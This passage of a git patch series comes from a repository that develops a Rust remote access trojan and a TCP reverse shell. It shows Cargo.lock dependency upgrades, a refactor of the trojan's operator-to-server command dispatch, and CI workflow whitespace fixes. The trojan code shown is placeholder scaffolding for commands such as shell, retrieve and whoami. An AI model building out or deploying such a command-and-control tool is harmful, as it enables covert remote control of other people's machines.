"1bd5316aa8f5c82add416dfbc25116b84b748a21153f512917e8143640a71bbd" dependencies = [ "bytes", "prost-derive", @@ -500,11 +569,13 @@ dependencies = [ [[package]] name = "prost-build" -version = "0.9.0" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62941722fb675d463659e49c4f3fe1fe792ff24fe5bbaa9c08cd3b98a1c354f5" +checksum = "328f9f29b82409216decb172d81e936415d21245befa79cd34c3f29d87d1c50b" dependencies = [ "bytes", + "cfg-if", + "cmake", "heck", "itertools", "lazy_static", @@ -520,9 +591,9 @@ dependencies = [ [[package]] name = "prost-derive" -version = "0.9.0" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9cc1a3263e07e0bf68e96268f37665207b49560d98739662cdfaae215c720fe" +checksum = "df35198f0777b75e9ff669737c6da5136b59dba33cf5a010a6d1cc4d56defc6f" dependencies = [ "anyhow", "itertools", @@ -533,9 +604,9 @@ dependencies = [ [[package]] name = "prost-types" -version = "0.9.0" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "534b7a0e836e3c482d2693070f982e39e7611da9695d4d1f5a4b186b51faef0a" +checksum = "926681c118ae6e512a3ccefd4abbe5521a14f4cc1e207356d4d00c0b7f2006fd" dependencies = [ "bytes", "prost", @@ -543,9 +614,9 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.15" +version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "864d3e96a899863136fc6e99f3d7cae289dafe43bf2c5ac19b70df7210c0a145" +checksum = "632d02bff7f874a36f33ea8bb416cd484b90cc66c1194b1a1110d067a7013f58" dependencies = [ "proc-macro2", ] @@ -593,21 +664,19 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.2.11" +version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8380fe0152551244f0747b1bf41737e0f8a74f97a14ccefd1148187271634f3c" +checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42" dependencies = [ "bitflags", ] [[package]] name = "regex" -version = "1.5.4" +version = "1.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d07a8629359eb56f1e2fb1652bb04212c072a87ba68546a04065d525673ac461" +checksum = "1a11647b6b25ff05a515cb92c365cec08801e83423a235b51e231e1808747286" dependencies = [ - "aho-corasick", - "memchr", "regex-syntax", ] @@ -638,10 +707,16 @@ dependencies = [ ] [[package]] -name = "slab" -version = "0.4.5" +name = "serde" +version = "1.0.136" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9def91fd1e018fe007022791f865d0ccc9b3a0d5001e01aabb8b40e46000afb5" +checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789" + +[[package]] +name = "slab" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32" [[package]] name = "socket2" @@ -655,15 +730,21 @@ dependencies = [ [[package]] name = "syn" -version = "1.0.86" +version = "1.0.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a65b3f4ffa0092e9887669db0eae07941f023991ab58ea44da8fe8e2d511c6b" +checksum = "b683b2b825c8eef438b77c36a06dc262294da3d5a5813fac20da149241dcd44d" dependencies = [ "proc-macro2", "quote", "unicode-xid", ] +[[package]] +name = "sync_wrapper" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20518fe4a4c9acf048008599e464deb21beeae3d3578418951a189c235a7a9a8" + [[package]] name = "tcp_reverse_shell" version = "1.1.5" @@ -737,40 +818,27 @@ dependencies = [ [[package]] name = "tokio-util" -version = "0.6.9" +version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e99e1983e5d376cd8eb4b66604d2e99e79f5bd988c3055891dcd8c9e2604cc0" +checksum = "0edfdeb067411dba2044da6d1cb2df793dd35add7888d73c16e3381ded401764" dependencies = [ "bytes", "futures-core", "futures-sink", - "log", - "pin-project-lite", - "tokio", -] - -[[package]] -name = "tokio-util" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64910e1b9c1901aaf5375561e35b9c057d95ff41a44ede043a03e09279eabaf1" -dependencies = [ - "bytes", - "futures-core", - "futures-sink", - "log", "pin-project-lite", "tokio", + "tracing", ] [[package]] name = "tonic" -version = "0.6.2" +version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff08f4649d10a70ffa3522ca559031285d8e421d727ac85c60825761818f5d0a" +checksum = "30fb54bf1e446f44d870d260d99957e7d11fb9d0a0f5bd1a662ad1411cc103f9" dependencies = [ "async-stream", "async-trait", + "axum", "base64", "bytes", "futures-core", @@ -786,7 +854,7 @@ dependencies = [ "prost-derive", "tokio", "tokio-stream", - "tokio-util 0.6.9", + "tokio-util", "tower", "tower-layer", "tower-service", @@ -796,10 +864,11 @@ dependencies = [ [[package]] name = "tonic-build" -version = "0.6.2" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9403f1bafde247186684b230dc6f38b5cd514584e8bec1dd32514be4745fa757" +checksum = "4d17087af5c80e5d5fc8ba9878e60258065a0a757e35efe7a05b7904bece1943" dependencies = [ + "prettyplease", "proc-macro2", "prost-build", "quote", @@ -820,12 +889,31 @@ dependencies = [ "rand", "slab", "tokio", - "tokio-util 0.7.0", + "tokio-util", "tower-layer", "tower-service", "tracing", ] +[[package]] +name = "tower-http" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aba3f3efabf7fb41fae8534fc20a817013dd1c12cb45441efb6c82e6556b4cd8" +dependencies = [ + "bitflags", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-range-header", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", +] + [[package]] name = "tower-layer" version = "0.3.1" @@ -840,9 +928,9 @@ checksum = "360dfd1d6d30e05fda32ace2c8c70e9c0a9da713275777f5a4dbb8a1893930c6" [[package]] name = "tracing" -version = "0.1.31" +version = "0.1.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6c650a8ef0cd2dd93736f033d21cbd1224c5a967aa0c258d00fcf7dafef9b9f" +checksum = "80b9fa4360528139bc96100c160b7ae879f5567f49f1782b0b02035b0358ebf3" dependencies = [ "cfg-if", "log", @@ -853,9 +941,9 @@ dependencies = [ [[package]] name = "tracing-attributes" -version = "0.1.19" +version = "0.1.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8276d9a4a3a558d7b7ad5303ad50b53d58264641b82914b7ada36bd762e7a716" +checksum = "2e65ce065b4b5c53e73bb28912318cb8c9e9ad3921f1d669eb0e68b4c8143a2b" dependencies = [ "proc-macro2", "quote", @@ -864,9 +952,9 @@ dependencies = [ [[package]] name = "tracing-core" -version = "0.1.22" +version = "0.1.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03cfcb51380632a72d3111cb8d3447a8d908e577d31beeac006f836383d29a23" +checksum = "90442985ee2f57c9e1b548ee72ae842f4a9a20e3f417cc38dbc5dc684d9bb4ee" dependencies = [ "lazy_static", ] @@ -887,12 +975,6 @@ version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" -[[package]] -name = "unicode-segmentation" -version = "1.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99" - [[package]] name = "unicode-xid" version = "0.2.2" @@ -916,10 +998,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" [[package]] -name = "which" -version = "4.2.4" +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a5a7e487e921cf220206864a94a89b6c6905bfc19f1057fa26a4cb360e5c1d2" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "which" +version = "4.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c4fb54e6113b6a8772ee41c3404fb0301ac79604489467e0a9ce1f3e97c24ae" dependencies = [ "either", "lazy_static", diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index 58e7064..1638794 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -72,9 +72,9 @@ pub enum RsOperatorCommand { } // Way to convert a string slice to the second hacky protobuf copy -impl Into for RsOperatorCommand { - fn into(self) -> OperatorCommand { - match self { +impl From for OperatorCommand { + fn from(command: RsOperatorCommand) -> Self { + match command { RsOperatorCommand::OpCadence => OperatorCommand::OpCadence, RsOperatorCommand::OpDir => OperatorCommand::OpDir, RsOperatorCommand::OpHostname => OperatorCommand::OpHostname, @@ -93,7 +93,7 @@ impl Into for RsOperatorCommand { } // Way to convert a second hacky protobuf copy to the actual protobuf -impl From<&str > for RsOperatorCommand { +impl From<&str> for RsOperatorCommand { fn from(in_slice: &str) -> Self { match in_slice { "cadence" => RsOperatorCommand::OpCadence, From a3b1c9a27b93d576f288e4ae167c26efbe6b9e55 Mon Sep 17 00:00:00 2001 From: koins Date: Sat, 9 Apr 2022 23:42:33 -0700 Subject: [PATCH 31/33] moving everything out of operator in favor of the server and implant doing all the actions. still gotta figure out that whole state thing --- remote_access_trojan/src/operator.rs | 27 ++++----------------------- remote_access_trojan/src/server.rs | 22 ++++++++++++++++------ 2 files changed, 20 insertions(+), 29 deletions(-) diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs index 7c994d5..503327e 100644 --- a/remote_access_trojan/src/operator.rs +++ b/remote_access_trojan/src/operator.rs @@ -33,34 +33,15 @@ async fn main() -> Result<(), Box> { 1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()), _ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()), }; - match command { - OperatorCommand::OpNone => continue, - OperatorCommand::OpQuit => break, - OperatorCommand::OpHelp => { - println!("Valid commands:"); - println!("\tcadence "); - println!("\tdir"); - println!("\thostname"); - println!("\thelp"); - println!("\timplants"); - println!("\tip"); - println!("\tls"); - println!("\tos"); - println!("\tquit"); - println!("\tretrieve "); - println!("\tshell"); - println!("\twhoami"); - continue - }, - _ => () - } - let request= tonic::Request::new( + let request = tonic::Request::new( OperatorRequest { command: OperatorCommand::try_into(command).unwrap(), arguments }, ); - let _response = schedule_client.send(request).await?.into_inner(); + let response = schedule_client.send(request).await?.into_inner(); + let print_for_operator = response.data; + println!("{print_for_operator}"); } Ok(()) diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 4f121b7..f1bf37b 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -16,7 +16,6 @@ use tonic::transport::Server; TODO - server state mutable - accept commands from operator to server - - server 'help' command - server 'retrieve' command - server 'implants' command - encrypt traffic from implant to server @@ -105,51 +104,62 @@ impl ScheduleCommand for MyScheduleCommand { let command = OperatorCommand::from_i32(inner.command).unwrap(); let arguments = inner.arguments; // Run the applicable command - let _command_result = match command { + let command_result = match command { OperatorCommand::OpCadence => { - println!("got a cadence {arguments}!") + format!("got a cadence {arguments}!") }, OperatorCommand::OpDir => { // Passthrough + "got a dir".to_string() }, OperatorCommand::OpImplants => { // List all implant IDs + "got an implants".to_string() }, OperatorCommand::OpHelp => { - // List available commands + "Valid commands:\n\tcadence \n\tdir\n\thostname\n\thelp\n\timplants\n\tip\n\tls\n\tos\n\tquit\n\tretrieve \n\tshell\n\twhoami".to_string() }, OperatorCommand::OpHostname => { // Passthrough + "got a hostname".to_string() }, OperatorCommand::OpIp => { // Passthrough + "got an ip".to_string() }, OperatorCommand::OpLs => { // Passthrough + "got an ls".to_string() }, OperatorCommand::OpOs => { // Passthrough + "got an os".to_string() }, OperatorCommand::OpQuit => { // Passthrough + "got a quit".to_string() }, OperatorCommand::OpRetrieve => { // Retrieve data from implant + "got a retrieve".to_string() }, OperatorCommand::OpShell => { // Passthrough + "got a shell".to_string() }, OperatorCommand::OpWhoami => { // Passthrough - } + "got a whoami".to_string() + }, _ => { // I think this isn't possible? + "uh oh".to_string() } }; // Respond to the implant basically say 'done' Ok(Response::new( OperatorResponse { - data: "yup".to_string() + data: command_result } )) } From 824f8c19d7219ed4f7c2d3dc78d11f47ff03f5f7 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 22 Apr 2022 13:27:32 -0700 Subject: [PATCH 32/33] mistake in merging --- .github/workflows/linux.yml | 2 +- .github/workflows/windows.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/linux.yml b/.github/workflows/linux.yml index 3413716..76e95a6 100644 --- a/.github/workflows/linux.yml +++ b/.github/workflows/linux.yml @@ -221,7 +221,7 @@ jobs: linux-remote-access-trojan: - runs-on: ubuntu-latest + runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index 3cafe6f..f642d62 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -317,7 +317,7 @@ jobs: windows-remote-access-trojan: - runs-on: ubuntu-latest + runs-on: ubuntu-latest steps: - name: Update rust From edbbd57d2b8635574e8fd756398b46f351bd2c02 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 22 Apr 2022 13:28:42 -0700 Subject: [PATCH 33/33] and another one --- .github/workflows/shield_io_updater.yml | 36 ++++++++++++------------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/.github/workflows/shield_io_updater.yml b/.github/workflows/shield_io_updater.yml index 8a249f2..aa126c1 100644 --- a/.github/workflows/shield_io_updater.yml +++ b/.github/workflows/shield_io_updater.yml @@ -123,22 +123,22 @@ jobs: update-remote-access-trojan: runs-on: ubuntu-latest - needs: update-hash-params + needs: update-hash-params - steps: - - uses: actions/checkout@v2 - with: - ref: ${{ github.head_ref }} - - uses: dante-signal31/rust-app-version@v1.0.0 - id: remote_access_trojan_ver - with: - cargo_toml_folder: 'remote_access_trojan/' - - name: Update remote_access_trojan version - uses: jossef/action-set-json-field@v1 - with: - file: '.custom_shields/remote_access_trojan.json' - field: message - value: ${{ steps.remote_access_trojan_ver.outputs.app_version }} - - uses: stefanzweifel/git-auto-commit-action@v4 - with: - commit_message: "Update remote access trojan badge data via Github Action" + steps: + - uses: actions/checkout@v2 + with: + ref: ${{ github.head_ref }} + - uses: dante-signal31/rust-app-version@v1.0.0 + id: remote_access_trojan_ver + with: + cargo_toml_folder: 'remote_access_trojan/' + - name: Update remote_access_trojan version + uses: jossef/action-set-json-field@v1 + with: + file: '.custom_shields/remote_access_trojan.json' + field: message + value: ${{ steps.remote_access_trojan_ver.outputs.app_version }} + - uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: "Update remote access trojan badge data via Github Action"